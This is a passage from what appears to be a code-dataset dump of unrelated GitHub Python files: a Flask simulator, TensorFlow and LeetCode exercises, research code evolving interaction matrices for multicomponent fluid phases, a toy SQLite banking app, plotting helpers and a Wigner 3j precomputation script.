db.session.add(usersim)\n db.session.flush()\n db_id = usersim.id\n db.session.commit()\n \n #Make a simple python Thread object and start simulation within it\n sim_thread = WorkerSim(db_id)\n SimThreadList.append(sim_thread)\n sim_thread.start()\n \n except (InterfaceError,IntegrityError) as exc:\n reason = exc.message\n db.session.rollback()\n flash('Error during SQL database addition - ' + reason)\n print('Error during SQL database addition - ' + reason)\n return -1\n \n return db_id\n \n \n def check_status(self,db_id):\n user_data = SimModel.query.filter(SimModel.id == db_id).first() \n return user_data.sim_status\n\n\n def query(self,db_id):\n user_data = SimModel.query.filter(SimModel.id == db_id).first()\n return user_data\n \n def update(self,user_data):\n db.session.commit()\n \n def stop(self,db_id):\n status = False\n tname = str(db_id)\n for t in SimThreadList:\n if t.name == tname:\n print(\"Thread found and stopped\")\n t.tsop = True\n user_data = self.query(db_id)\n user_data.sim_status = 2\n self.update(user_data)\n status = True\n break\n return status\n","repo_name":"njase/RSTPWebApp","sub_path":"app/mod_rstp/simulators.py","file_name":"simulators.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31708749726","text":"# -*- coding: utf-8 -*-\n#@Time :2019/8/12 15:05\n#@Author :XiaoMa\nimport tensorflow as tf\n\n#网络层权重,n*m n:上一层节点数 m:本层节点数\nw1=tf.Variable(tf.random_normal([2,3],stddev=1))\nw2=tf.Variable(tf.random_normal([3,1],stddev=1))\n\n# 定义存放输入数据的地方,也就是x向量,这里shape为前一个传入训练的样本个数,后面出入每个样本的维度大小\nx = tf.placeholder(tf.float32, shape=(None, 2), name=\"input\")\n# 矩阵乘法\na = tf.matmul(x,w1)\ny = tf.matmul(a, w2)\n\nwith tf.Session() as sess:\n # 新版本好像不能用这个函数初始化所有变量了\n init_op = tf.initialize_all_variables()\n sess.run(init_op)\n # feed_dict用于向y中的x传入参数,这里传入3个,则y输出为一个3*1的tensor\n print(sess.run(y,feed_dict={x:[[0.7,0.9],[1.0,1.5],[1,2]]}))\n\n\n\n\n","repo_name":"FreeFlyXiaoMa/RNNLSTM","sub_path":"tensorflow_demo/demo10.py","file_name":"demo10.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38393367450","text":"# https://leetcode.com/explore/learn/card/fun-with-arrays/511/in-place-operations/3258/\n# hint1 元素必須緊密排列,因此無法只用單指針遍歷,需要使用快慢指針\nclass Solution(object):\n def removeDuplicates(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n l = len(nums)\n fast = 0\n slow = 0\n unique_counter = 0\n \n while fast <= l-1:\n if fast == 0:\n slow += 1\n unique_counter += 1\n else:\n if nums[fast] != nums[fast-1]:\n nums[slow] = nums[fast]\n slow += 1\n unique_counter += 1\n \n fast += 1\n return unique_counter","repo_name":"hcygeorge/my-leetcode","sub_path":"array/easy/Remove Duplicates from Sorted Array.py","file_name":"Remove Duplicates from Sorted Array.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16786690334","text":"class Cars:\n def __init__(self, brand, model, car_type, year):\n self.brand = brand\n self.model = model\n self.car_type = car_type\n self.year = year\n\n def output_car(self):\n car = self.brand + \" \" + self.model + \" \" + self.car_type + \" \" + str(self.year)\n print(car)\n\n\nbmw = Cars(\"BMW\", \"i300\", \"Sportwagen\", 1998)\nbmw.output_car()\n\naudi = Cars(\"Audi\", \"A3 Sportback\", \"Small\", 2006)\naudi.output_car()\n\nopel = Cars(\"Opel\", \"Corsa\", \"Small\", 2007)\nopel.output_car()\n","repo_name":"ViktorXs/learning-python","sub_path":"pycharm_uebungen/funktionen_und_klassen/cars.py","file_name":"cars.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15508601399","text":"#!/usr/bin/env python3\n\"\"\"this python file contains the implementation of the code of the paper\n'Evolved interactions stabilize many coexisting phases in multicomponent fluids'\n\nThe modules contains a few global constants, which set parameters of the algorithm as\ndescribed in the paper. They typically do not need to be changed. A good entry point\ninto the code might be to create a random interaction matrix and a random initial\ncomposition using `random_interaction_matrix` and `get_uniform_random_composition`,\nrespectively. The function `evolve_dynamics` can then be used to evolve Eq. 4 in the\npaper to its stationary state, whose composition the function returns. The returned\ncomposition matrix can be fed into `count_phases` to obtain the number of distinct\nphases. An ensemble average over initial conditions is demonstrated in the function\n`estimate_performance`, which also uses Eq. 5 of the paper to estimate how well the\nparticular interaction matrix obtains a given target number of phases. Finally,\n`run_evolution` demonstrates the evolutionary optimization over multiple generations.\n\"\"\"\n\nfrom typing import List, Tuple\n\nimport numpy as np\nfrom numba import njit\nfrom scipy import cluster, spatial\n\n\nDT_INITIAL: float = 1.0 # initial time step for the relaxation dynamics\nTRACKER_INTERVAL: float = 10.0 # interval for convergence check\nTOLERANCE: float = 1e-4 # tolerance used to decide when stationary state is reached\n\nCLUSTER_DISTANCE: float = 1e-2 # cutoff value for determining composition clusters\n\nPERFORMANCE_TOLERANCE: float = 0.5 # tolerance used when calculating performance\nKILL_FRACTION: float = 0.3 # fraction of population that is replaced each generation\n\nREPETITIONS: int = 64 # number of samples used to estimate the performance\n\n\ndef random_interaction_matrix(\n num_comp: int, chi_mean: float = None, chi_std: float = 1\n) -> np.ndarray:\n \"\"\"create a random interaction matrix\n\n Args:\n num_comp (int): The component count\n chi_mean (float): The mean interaction strength\n chi_std (float): The standard deviation of the interactions\n\n Returns:\n The full, symmetric interaction matrix\n \"\"\"\n if chi_mean is None:\n chi_mean = 3 + 0.4 * num_comp\n\n # initialize interaction matrix\n chis = np.zeros((num_comp, num_comp))\n\n # determine random entries\n num_entries = num_comp * (num_comp - 1) // 2\n chi_vals = np.random.normal(chi_mean, chi_std, num_entries)\n\n # build symmetric matrix from this\n i, j = np.triu_indices(num_comp, 1)\n chis[i, j] = chi_vals\n chis[j, i] = chi_vals\n return chis\n\n\ndef mutate(\n population: List[np.ndarray], mutation_size: float = 0.1, norm_max: float = np.inf\n) -> None:\n \"\"\"mutate all interaction matrices in a population\n\n Args:\n population (list): The interaction matrices of all individuals\n mutation_size (float): Magnitude of the perturbation\n norm_max (float): The maximal norm the matrix may attain\n \"\"\"\n for chis in population:\n num_comp = len(chis)\n\n # add normally distributed random number to independent entries\n Δchi = np.zeros((num_comp, num_comp))\n num_entries = num_comp * (num_comp - 1) // 2\n idx = np.triu_indices_from(Δchi, k=1)\n Δchi[idx] = np.random.normal(0, mutation_size, size=num_entries)\n chis += Δchi + Δchi.T # preserve symmetry\n\n if np.isfinite(norm_max):\n # rescale entries to obey limit\n norm = np.mean(np.abs(chis[idx]))\n if norm > norm_max:\n chis *= norm_max / norm\n\n\n@njit\ndef get_uniform_random_composition(num_phases: int, num_comps: int) -> np.ndarray:\n \"\"\"pick concentrations uniform from allowed simplex (sum of fractions < 1)\n\n Args:\n num_phases (int): the number of phases to pick concentrations for\n num_comps (int): the number of components to use\n\n Returns:\n The fractions of num_comps components in num_phases phases\n \"\"\"\n phis = np.empty((num_phases, num_comps))\n for n in range(num_phases):\n phi_max = 1.0\n for d in range(num_comps):\n x = np.random.beta(1, num_comps - d) * phi_max\n phi_max -= x\n phis[n, d] = x\n return phis\n\n\n@njit\ndef calc_diffs(phis: np.ndarray, chis: np.ndarray) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"calculates chemical potential and pressure\n\n Note that we only calculate the parts that matter in the difference\n\n Args:\n phis: The composition of all phases\n chis: The interaction matrix\n\n Returns:\n The chemical potentials and pressures in all phases\n \"\"\"\n phi_sol = 1 - phis.sum()\n if phi_sol < 0:\n raise RuntimeError(\"Solvent has negative concentration\")\n\n log_phi_sol = np.log(phi_sol)\n mu = np.log(phis)\n p = -log_phi_sol\n for i in range(len(phis)): # iterate over components\n val = chis[i] @ phis\n mu[i] += val - log_phi_sol\n p += 0.5 * val * phis[i]\n\n return mu, p\n\n\n@njit\ndef evolution_rate(phis: np.ndarray, chis: np.ndarray = None) -> np.ndarray:\n \"\"\"calculates the evolution rate of a system with given interactions\n\n Args:\n phis: The composition of all phases\n chis: The interaction matrix\n\n Returns:\n The rate of change of the composition (Eq. 4)\n \"\"\"\n num_phases, num_comps = phis.shape\n\n # get chemical potential and pressure for all components and phases\n mus = np.empty((num_phases, num_comps))\n ps = np.empty(num_phases)\n for n in range(num_phases): # iterate over phases\n mu, p = calc_diffs(phis[n], chis)\n mus[n, :] = mu\n ps[n] = p\n\n # calculate rate of change of the composition in all phases\n dc = np.zeros((num_phases, num_comps))\n for n in range(num_phases):\n for m in range(num_phases):\n delta_p = ps[n] - ps[m]\n for i in range(num_comps):\n delta_mu = mus[m, i] - mus[n, i]\n dc[n, i] += phis[n, i] * (phis[m, i] * delta_mu - delta_p)\n return dc\n\n\n@njit\ndef iterate_inner(phis: np.ndarray, chis: np.ndarray, dt: float, steps: int) -> None:\n \"\"\"iterates a system with given interactions\n\n Args:\n phis: The composition of all phases\n chis: The interaction matrix\n dt (float): The time step\n steps (int): The step count\n \"\"\"\n for _ in range(steps):\n # make a step\n phis += dt * evolution_rate(phis, chis)\n\n # check validity of the result\n if np.any(np.isnan(phis)):\n raise RuntimeError(\"Encountered NaN\")\n elif np.any(phis <= 0):\n raise RuntimeError(\"Non-positive concentrations\")\n elif np.any(phis.sum(axis=-1) <= 0):\n raise RuntimeError(\"Non-positive solvent concentrations\")\n\n\ndef evolve_dynamics(chis: np.ndarray, phis_init: np.ndarray) -> np.ndarray:\n \"\"\"evolve a particular system governed by a specific interaction matrix\n\n Args:\n chis: The interaction matrix\n phis_init: The initial composition of all phases\n\n Returns:\n phis: The final composition of all phases\n \"\"\"\n phis = phis_init.copy()\n phis_last = np.zeros_like(phis)\n\n dt = DT_INITIAL\n steps_inner = max(1, int(np.ceil(TRACKER_INTERVAL / dt)))\n\n # run until convergence\n while not np.allclose(phis, phis_last, rtol=TOLERANCE, atol=TOLERANCE):\n phis_last = phis.copy()\n\n # do the inner steps and reduce dt if necessary\n while True:\n try:\n iterate_inner(phis, chis, dt=dt, steps=steps_inner)\n except RuntimeError as err:\n # problems in the simulation => reduced dt and reset phis\n dt /= 2\n steps_inner *= 2\n phis[:] = phis_last\n\n if dt < 1e-7:\n raise RuntimeError(f\"{err}\\nReached minimal time step.\")\n else:\n break\n\n return phis\n\n\ndef count_phases(phis: np.ndarray) -> int:\n \"\"\"calculate the number of distinct phases\n\n Args:\n phis: The composition of all phases\n\n Returns:\n int: The number of phases with distinct composition\n \"\"\"\n # calculate distances between compositions\n dists = spatial.distance.pdist(phis)\n # obtain hierarchy structure\n links = cluster.hierarchy.linkage(dists, method=\"centroid\")\n # flatten the hierarchy by clustering\n clusters = cluster.hierarchy.fcluster(links, CLUSTER_DISTANCE, criterion=\"distance\")\n\n return int(clusters.max())\n\n\ndef estimate_performance(chis: np.ndarray, target_phase_count: float) -> float:\n \"\"\"estimate the performance of a given interaction matrix\n\n Args:\n chis: The interaction matrix\n target_phase_count (float): The targeted phase count\n\n Returns:\n float: The estimated performance (between 0 and 1)\n \"\"\"\n num_comp = len(chis)\n num_phases = num_comp + 2 # number of initial phases\n\n phase_counts = np.zeros(num_phases + 1)\n for _ in range(REPETITIONS):\n # choose random initial condition\n phis = get_uniform_random_composition(num_phases, num_comp)\n\n # run relaxation dynamics again\n try:\n phis_final = evolve_dynamics(chis, phis_init=phis)\n except RuntimeError as err:\n # simulation could not finish\n print(f\"Simulation failed: {err}\")\n else:\n # determine number of clusters\n phase_counts[count_phases(phis_final)] += 1\n\n # determine the phase count weights\n sizes = np.arange(num_phases + 1)\n arg = (sizes - target_phase_count) / PERFORMANCE_TOLERANCE\n weights = np.exp(-0.5 * arg ** 2)\n\n # calculate the performance\n return phase_counts @ weights / phase_counts.sum()\n\n\ndef replace_unfit_fraction(\n population: List[np.ndarray], performances: np.ndarray\n) -> None:\n \"\"\"replace the individuals with the lowest performance\n\n Args:\n population: The individual interaction matrices\n performances: The performances of all individuals\n \"\"\"\n pop_size = len(population)\n\n # determine the number of individuals that need to be replaced\n kill_count = round(KILL_FRACTION * pop_size)\n # kill least fit individuals\n kill_idx = np.argsort(performances)[:kill_count]\n\n # determine the individuals that are kept\n keep_idx = np.array([i for i in range(pop_size) if i not in kill_idx], dtype=int)\n\n # weigh reproduction of surviving individuals by fitness\n weights = performances[keep_idx] / performances[keep_idx].sum()\n for i in kill_idx:\n # weighted choice of a surviving individual\n j = np.random.choice(keep_idx, p=weights)\n population[i] = population[j].copy()\n\n\ndef run_evolution(\n num_comp: int = 5,\n pop_size: int = 3,\n mutation_size: float = 0.1,\n target_phase_count: float = 3,\n num_generations: int = 30,\n) -> None:\n \"\"\"evolve the interaction matrices\n\n Args:\n num_comp (int): Number of different components\n pop_size (int): Population size\n mutation_size (float): Standard deviation of the mutation\n target_phase_count (float): The targeted phase count\n num_generations (int): Number of generations\n \"\"\"\n # pick random interaction matrices initially\n population = [random_interaction_matrix(num_comp=num_comp) for _ in range(pop_size)]\n\n # run the simulation for many generations\n for generation in range(1, num_generations + 1):\n # evolve the population one generation\n\n # mutate all individuals\n mutate(population, mutation_size=mutation_size)\n\n # estimate performance of all individuals\n performances = [\n estimate_performance(chis, target_phase_count) for chis in population\n ]\n print(f\"Generation {generation}, Average performance: {np.mean(performances)}\")\n\n # determine which individuals to kill\n replace_unfit_fraction(population, np.array(performances)) # type: ignore\n\n\nif __name__ == \"__main__\":\n run_evolution()\n","repo_name":"zwicker-group/paper-multicomponent-evolution","sub_path":"multicomponent_evolution.py","file_name":"multicomponent_evolution.py","file_ext":"py","file_size_in_byte":12025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70447522986","text":"print(list(filter(lambda x: all(map(lambda i: x % i != 0, range(2, int(x ** 0.5) + 1))), range(2, 100 + 1))))\n\nresult = []\nfor i in range(2, 100+1):\n for j in range(2, i):\n if i % j == 0:\n break\n else:\n result.append(str(i))\n\nprint(' '.join(result))\n","repo_name":"vladislavten/my_work2","sub_path":"Module30/04_code_readability/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19720824067","text":"import sqlite3\nfrom random import randint\nfrom sqlite3 import Error\n\n\ndef connect_db(db_file):\n conn = None\n try:\n conn = sqlite3.connect(db_file)\n return conn\n except Error as e:\n print(e)\n return conn\n\ndef create_table(conn):\n sql = \"\"\"CREATE TABLE IF NOT EXISTS card (\n id integer PRIMARY KEY,\n number TEXT,\n pin TEXT,\n balance integer DEFAULT 0\n ); \"\"\"\n try:\n c = conn.cursor()\n c.execute(sql)\n except Error as e:\n print(e)\n\ndef add_row(conn, row):\n sql = ''' INSERT INTO card(id,number,pin,balance)\n VALUES(?,?,?,?) '''\n cur = conn.cursor()\n cur.execute('select max(id) from card')\n id = cur.fetchone()\n id = 1 if id[0] is None else id[0] + 1\n val = [id] + row\n cur.execute(sql, val)\n conn.commit()\n\ndef select_all(conn):\n cur = conn.cursor()\n cur.execute(\"SELECT * FROM card\")\n rows = cur.fetchall()\n for row in rows:\n print(row)\n\nclass Card():\n cards = {}\n\n def __init__(self, num):\n if num in self.cards:\n self.num = num\n self.pin = self.cards[num][0]\n self.balance = self.cards[num][1]\n else:\n self.pin = self.get_pin()\n self.num = self.get_num()\n self.balance = 0\n\n def get_num(self):\n while True:\n n = randint(0, 999999999)\n if n not in [int(c[6:16]) for c in self.cards]:\n break\n c_num = '400000' + str(n).rjust(9, '0')\n c_num += chk_sum(c_num)\n self.cards[c_num] = (self.pin, 0)\n return c_num\n\n def get_pin(self):\n p = str(randint(0, 9999))\n return p.rjust(4, '0')\n\n def read_db(conn):\n cur = conn.cursor()\n cur.execute(\"SELECT * FROM card\")\n rows = cur.fetchall()\n for row in rows:\n Card.cards[row[1]] = (row[2], row[3])\n\n\ndef chk_sum(num):\n sum = 0\n for i in range(0, 15):\n if i % 2 == 0:\n n = int(num[i]) * 2\n sum += n if n < 9 else n - 9\n else:\n sum += int(num[i])\n return str((10 - sum % 10) % 10)\n\ndef create_account():\n card = Card('')\n row = [card.num, card.pin, card.balance]\n add_row(conn, row)\n print('Your card has been created')\n print(f'Your card number:\\n{card.num}')\n print(f'Your card PIN:\\n{card.pin}')\n\ndef log_in():\n cnum = input('Enter your card number:\\n')\n pin = input('Enter your PIN:\\n')\n if cnum in Card.cards and Card.cards[cnum][0] == pin:\n card = Card(cnum)\n print('\\nYou have successfully logged in!')\n else:\n print('\\nWrong card number or PIN!')\n return True\n\n while True:\n cmd = input(s_menu2)\n if cmd == '1':\n print(f'Balance: {card.balance}')\n elif cmd == '2':\n add_income(conn, card)\n elif cmd == '3':\n do_transfer(conn, card)\n elif cmd == '4':\n close_acc(conn, card)\n return True\n elif cmd == '5':\n print('You have successfully logged out!')\n return True\n else:\n return False\n\ndef update_balance(conn, card, sum):\n card.balance += sum\n sql = ''' UPDATE card\n SET balance = ?\n WHERE number = ?'''\n cur = conn.cursor()\n cur.execute(sql, (card.balance, card.num))\n conn.commit()\n\ndef del_card(conn, card):\n sql = '''DELETE FROM card WHERE number=?'''\n cur = conn.cursor()\n cur.execute(sql, (card.num,))\n conn.commit()\n\ndef add_income(conn, card):\n sum = int(input('Enter income:\\n'))\n update_balance(conn, card, sum)\n print('Income was added!')\n\ndef do_transfer(conn, card):\n cn_to = input('Transfer\\nEnter card number:\\n')\n if cn_to[-1] != chk_sum(cn_to):\n print('Probably you made a mistake in the card number. Please try again!')\n return\n elif cn_to not in Card.cards:\n print('Such a card does not exist.')\n return\n else:\n sum = int(input('Enter how much money you want to transfer:\\n'))\n print('sum=', sum, 'balance=', card.balance, sum < card.balance)\n if sum > card.balance:\n print('Not enough money!')\n else:\n card_to = Card(cn_to)\n update_balance(conn, card, -sum)\n update_balance(conn, card_to, sum)\n print('Success!')\n\ndef close_acc(conn, card):\n del_card(conn, card)\n print('The account has been closed!')\n\ns_menu1 = '''\n1. Create an account\n2. Log into account\n0. Exit\n'''\ns_menu2 = '''\n1. Balance\n2. Add income\n3. Do transfer\n4. Close account\n5. Log out\n0. Exit\n'''\n\nconn = connect_db('card.s3db')\ncreate_table(conn)\nCard.read_db(conn)\n# select_all(conn)\n\nloop = True\nwhile loop:\n cmd = input(s_menu1)\n if cmd == '1':\n create_account()\n elif cmd == '2':\n loop = log_in()\n else:\n loop = False\nprint('\\nBye!')\n\nif conn:\n conn.close()\n","repo_name":"fvn70/banking","sub_path":"Simple Banking System/task/banking/banking.py","file_name":"banking.py","file_ext":"py","file_size_in_byte":4988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21535890710","text":"\nimport abc\nfrom .abstract.MessageCommand import MessageCommand\nfrom openpyxl import load_workbook\nfrom .abstract.Command import Command\nimport cfg\n\n\nclass ScoreCommand(MessageCommand):\n\n def isAllowed(self, username):\n return True\n\n def getMessage(self, username):\n print(cfg.APP_PATH);\n wb = load_workbook(cfg.APP_PATH+'/files/info.xlsx')\n ws = wb.active\n team1 = {\n \"name\": ws['B2'].value,\n \"score\": ws['C2'].value\n }\n team2 = {\n \"name\": ws['B3'].value,\n \"score\": ws['C3'].value\n }\n msg = \"{} à {} pour {}\"\n if team1[\"score\"] > team2[\"score\"]:\n return msg.format(team1[\"score\"],team2[\"score\"],team1[\"name\"])\n else:\n return msg.format(team2[\"score\"],team1[\"score\"],team2[\"name\"])","repo_name":"EGNTV/twitchbot","sub_path":"Commands/ScoreCommand.py","file_name":"ScoreCommand.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6068452515","text":"import io\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass GraphInterface:\n def __init__(self, metrics, idTask, client):\n self.points_for_total = metrics.totals\n self.points_for_relative_totals = metrics.relative_totals\n self.points_for_balances = metrics.balance\n self.points_for_commissions = metrics.commissions\n self.points_for_DPNL = metrics.DPNL\n self.idTask = idTask\n self.all_plots = {}\n self.client = client\n\n def plot_Total(self):\n data_x = list(self.points_for_total.keys())\n data_y = list(self.points_for_total.values())\n plt.plot(data_x, data_y, label='Total')\n plt.xlabel('Date')\n plt.xticks(rotation='vertical')\n plt.ylabel('Total')\n plt.title('Total Plot')\n plt.legend()\n plt.grid(True, linestyle='--', alpha=0.5)\n buffer = io.BytesIO()\n plt.savefig(buffer, format='jpg')\n buffer.seek(0)\n binary_data = buffer.read()\n self.all_plots['Total'] = (binary_data)\n plt.clf()\n\n def plot_DPNL(self):\n data_x = list(self.points_for_DPNL.keys())\n data_y = list(self.points_for_DPNL.values())\n plt.plot(data_x, data_y, label='DPNL', color='red')\n plt.xlabel('Date')\n plt.xticks(rotation='vertical')\n plt.ylabel('DPNL')\n plt.title('DPNL Plot')\n plt.grid(True, linestyle='--', alpha=0.5)\n plt.legend()\n buffer = io.BytesIO()\n plt.savefig(buffer, format='jpg')\n buffer.seek(0)\n binary_data = buffer.read()\n self.all_plots['DPNL'] = (binary_data)\n plt.clf()\n\n def plot_relatire_Total(self):\n data_x = list(self.points_for_relative_totals.keys())\n data_y = list(self.points_for_relative_totals.values())\n plt.plot(data_x, data_y, label='relatire_Total', color='red')\n plt.xlabel('Date')\n plt.xticks(rotation='vertical')\n plt.ylabel('relatire total')\n plt.title('Relatire Total Plot')\n plt.grid(True, linestyle='--', alpha=0.5)\n plt.legend()\n buffer = io.BytesIO()\n plt.savefig(buffer, format='jpg')\n buffer.seek(0)\n binary_data = buffer.read()\n self.all_plots['relatire_Total'] = (binary_data)\n plt.clf()\n\n def plot_comissions(self):\n data_x = list(self.points_for_commissions.keys())\n data_y = list(self.points_for_commissions.values())\n plt.plot(data_x, data_y, label='comissions', color='red')\n plt.xlabel('Date')\n plt.xticks(rotation='vertical')\n plt.ylabel('comissions')\n plt.title('Comissions Plot')\n plt.grid(True, linestyle='--', alpha=0.5)\n plt.legend()\n buffer = io.BytesIO()\n plt.savefig(buffer, format='jpg')\n buffer.seek(0)\n binary_data = buffer.read()\n self.all_plots['comissions'] = (binary_data)\n plt.clf()\n\n def plot_balance(self):\n\n dates = sorted(list(self.points_for_balances))\n tikers = list(self.points_for_balances[dates[0]].keys())\n y = list(map(list, list(np.empty((len(tikers), 0)))))\n for date in dates:\n for i, tiker in enumerate(tikers):\n y[i].append(self.points_for_balances[date][tiker])\n\n y = np.array(y, dtype=float)\n data_x = np.array(range(0, len(y[0])), dtype=float)\n\n plt.figure(figsize=(16, 6))\n plt.xlabel('Date')\n plt.xticks(rotation='vertical')\n plt.ylabel('balance')\n plt.title('Balance Plot')\n plt.stackplot(data_x, y, labels=tikers, alpha=0.5)\n plt.legend(loc='upper left')\n plt.grid(True, linestyle='--', alpha=0.5)\n buffer = io.BytesIO()\n plt.savefig(buffer, format='jpg')\n buffer.seek(0)\n binary_data = buffer.read()\n self.all_plots['balance'] = binary_data\n plt.clf()\n\n def save_plots(self):\n self.client.put_plots(self.idTask, self.all_plots.values())\n\n\ndef main():\n pass\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ProALgebra/MarketSimulateInterface-MSI-","sub_path":"graphics/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"17793847948","text":"from typing import Type\n\nfrom sqlmodel import select, Session\n\nfrom ..db import engine\nfrom ..models.base import TSQLModelDB\n\n\nclass BaseRepository:\n model: Type[TSQLModelDB]\n\n @classmethod\n def create(cls, **kwargs) -> TSQLModelDB:\n db_model = cls.model(**kwargs)\n db_model.save()\n return db_model\n\n @classmethod\n def get_all(cls, offset: int = 0, limit: int = 100) -> list[TSQLModelDB] | None:\n with Session(engine) as session:\n return session.exec(select(cls.model)\n .offset(offset)\n .limit(limit)\n ).unique().all()\n\n @classmethod\n def get_model_by_id(cls, _id: int) -> TSQLModelDB | None:\n with Session(engine) as session:\n return session.get(cls.model, _id)\n\n @classmethod\n def get_model_by_attr(cls, **kwargs) -> TSQLModelDB | None:\n with Session(engine) as session:\n return session.exec(select(cls.model)\n .filter_by(**kwargs)\n ).first()\n\n @classmethod\n def update_model(cls, db_model: TSQLModelDB, new_data: dict) -> TSQLModelDB:\n for key, value in new_data.items():\n setattr(db_model, key, value)\n\n db_model.save()\n return db_model\n\n @classmethod\n def delete_model(cls, db_model: TSQLModelDB) -> None:\n db_model.delete()\n","repo_name":"neurothrone/project-dot","sub_path":"app/data/repository/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34806548508","text":"\n# Given the names and grades for each student in a class of students, store them in a nested list and print the name(s) of any student(s) having the second lowest grade.\n# Note: If there are multiple students with the second lowest grade, order their names alphabetically and print each name on a new line.\n\nstudent_data = []\nfor _ in range(int(input())):\n name = input()\n grade = float(input())\n student_data.append([name, grade])\n\n# Sort the list by grades in ascending order\nsorted_data = sorted(student_data, key=lambda x: x[1])\n\n# Find the second lowest grade\nsecond_lowest_grade = None\nfor i in range(1, len(sorted_data)):\n if sorted_data[i][1] != sorted_data[i - 1][1]:\n second_lowest_grade = sorted_data[i][1]\n break\n\n# Collect the names of students with the second lowest grade\nsecond_lowest_names = []\nfor name, grade in sorted_data:\n if grade == second_lowest_grade:\n second_lowest_names.append(name)\n\n# Sort the collected names alphabetically\nsecond_lowest_names.sort()\n\n# Print each name on a new line\nfor name in second_lowest_names:\n print(name)\n","repo_name":"Ajeeth12/Python","sub_path":"Hackerrank_Problems/Nested_lists.py","file_name":"Nested_lists.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12382748765","text":"import pyttsx3\n\ndef onStart():\n print('starting')\n\ndef onWord(name, location, length):\n print('word', name, location, length)\n\ndef onEnd(name, completed):\n print('finishing', name, completed)\n\nengine = pyttsx3.init()\n\nvoice = engine.getProperty('voices')\nengine.setProperty('voice', voice[1].id)\nengine.connect('started-utterance', onStart)\nengine.connect('started-word', onWord)\nengine.connect('finished-utterance', onEnd)\n\nsen = 'Hi, my name is vasu and im using pyttsx3 library to run this program. Actully pyttx3 is python library to make a pre-define voice'\n\n\nengine.say(sen)\nengine.runAndWait()","repo_name":"radadiavasu/python_programs","sub_path":"pyttx3.py","file_name":"pyttx3.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38128883957","text":"if True:\n import numpy as np\n import sys\n from numpy import pi\n from math import floor\n from sympy.physics.wigner import gaunt, wigner_3j\n import json\n idx = [i for i, itr in enumerate(sys.path[0]) if itr == \"/\"]\n path_address = sys.path[0][:idx[-1]]\n sys.path.append(path_address + '/General_Functions')\n import Module as Mod\n import Module as Mod\n\n\n\nwigner_3j_dict = {}\n\ninput_par = Mod.Input_File_Reader(\"input.json\")\nblock_to_qn, qn_to_block = Mod.Index_Map(input_par)\n\nl_max_bs = input_par[\"l_max_bs\"]\nl_values = np.arange(0, input_par[\"l_max\"])\n\nfor key in qn_to_block:\n l, m = key[0], key[1]\n \n print(l, m)\n \n if l % 2 == 0:\n l_prime_list = list(range(0, l_max_bs + 1, 2))\n else:\n l_prime_list = list(range(1, l_max_bs + 1, 2))\n \n for l_prime in l_prime_list:\n for lamda in range(abs(l - l_prime), l + l_prime + 2, 2): \n wigner_3j_dict[str((l,lamda,l_prime,-m,0,m))] = float(wigner_3j(l,lamda,l_prime,-m,0,m))\n wigner_3j_dict[str((l,lamda,l_prime,0,0,0))] = float(wigner_3j(l,lamda,l_prime,0,0,0))\n \n l_prime = l+1\n\n m_prime = m\n wigner_3j_dict[str((l,1,l_prime,-1*m,0,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,0,m_prime))\n\n\n m_prime = m+1\n wigner_3j_dict[str((l,1,l_prime,-1*m,1,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,1,m_prime))\n wigner_3j_dict[str((l,1,l_prime,-1*m,-1,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,-1,m_prime))\n \n m_prime = m-1\n wigner_3j_dict[str((l,1,l_prime,-1*m,1,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,1,m_prime))\n wigner_3j_dict[str((l,1,l_prime,-1*m,-1,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,-1,m_prime))\n\n wigner_3j_dict[str((l,1,l_prime,0,0,0))] = float(wigner_3j(l,1,l_prime,0,0,0))\n\n\n l_prime = l-1\n\n m_prime = m\n wigner_3j_dict[str((l,1,l_prime,-1*m,0,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,0,m_prime))\n\n m_prime = m+1\n wigner_3j_dict[str((l,1,l_prime,-1*m,1,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,1,m_prime))\n wigner_3j_dict[str((l,1,l_prime,-1*m,-1,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,-1,m_prime))\n \n m_prime = m-1\n wigner_3j_dict[str((l,1,l_prime,-1*m,1,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,1,m_prime))\n wigner_3j_dict[str((l,1,l_prime,-1*m,-1,m_prime))] = float(wigner_3j(l,1,l_prime,-1*m,-1,m_prime))\n\n 